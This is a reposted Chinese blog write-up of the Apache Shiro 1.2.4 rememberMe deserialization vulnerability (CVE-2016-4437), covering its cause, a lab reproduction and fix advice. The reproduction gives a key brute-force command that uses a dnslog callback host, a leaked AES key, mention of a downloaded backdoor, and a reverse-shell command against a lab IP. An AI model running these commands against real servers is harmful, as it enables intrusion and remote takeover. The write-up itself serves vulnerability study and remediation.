首页 > Web开发 > 详细

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

时间:2020-07-09 22:16:08      阅读:84      评论:0      收藏:0      [点我收藏+]

0x01简介

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

0x02漏洞影响

只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

0x03漏洞分析

先看下官网漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550

Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码操作。

在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

  • 获取rememberMe cookie
  • base64 decode
  • 解密AES
  • 反序列化

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

0x04漏洞复现

技术分享图片

技术分享图片

poc:https://github.com/Kit4y/Awesome_shiro

技术分享图片

shiro_crack.py 爆破模块

python shiro_crack.py  http://192.168.1.109/login.jsp  gzqes6.dnslog.cn

技术分享图片

技术分享图片

key:kPH.bIxk5D2deZiIxcaaaA

CommonsCollections2

修改shiro-rce.py

技术分享图片

下载后门

技术分享图片

技术分享图片

监听

技术分享图片

反弹shell

 python  shiro_rce.py  http://192.168.1.109/login.jsp  "/bin/bash shell"

技术分享图片

0x05 修复建议

  1. 升级shiro到1.2.5及以上
  2. 现在使用的rememberMe的AES加密密钥泄露,请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
  3. 参考文章:https://blog.csdn.net/jiangbb8686/article/details/100158480

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

原文:https://www.cnblogs.com/dyanbk/p/13276508.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!